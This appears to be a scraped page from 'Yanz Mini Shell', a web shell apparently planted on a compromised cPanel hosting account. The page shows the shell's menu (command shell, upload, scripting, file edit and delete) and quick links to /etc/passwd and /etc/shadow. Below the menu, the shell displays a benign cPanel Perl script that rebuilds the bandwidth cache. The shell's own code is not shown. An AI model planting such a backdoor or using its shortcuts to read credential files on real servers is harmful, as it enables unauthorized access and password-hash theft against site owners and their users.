Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
hdhubreisen
public_html
gebase
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/rebuild_bandwidthdb_root_cache Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package scripts::rebuild_bandwidthdb_root_cache; #---------------------------------------------------------------------- #NOTE: It might be good to make this an API call and put a button in the UI #to the effect of: “If this doesn’t look right, try [rebuilding].” #---------------------------------------------------------------------- use strict; use Cpanel::BandwidthDB::RootCache (); __PACKAGE__->script() if !caller; sub script { Cpanel::BandwidthDB::RootCache::delete(); #So we immediately see which user the system is converting. local $| = 1; Cpanel::BandwidthDB::RootCache->new( import_options => { before_start => \&_before_start, before_user => \&_before_user, after_user => \&_after_user, }, ); return; } sub _before_start { my $users_ar = shift; my $count = scalar @$users_ar; print "Rebuilding bandwidth cache for this system’s $count cPanel user(s):\n\n"; return; } sub _before_user { my ($user) = @_; return print "$user …"; } sub _after_user { return print " Done!\n"; } 1;
Free Space : 62860091392 Byte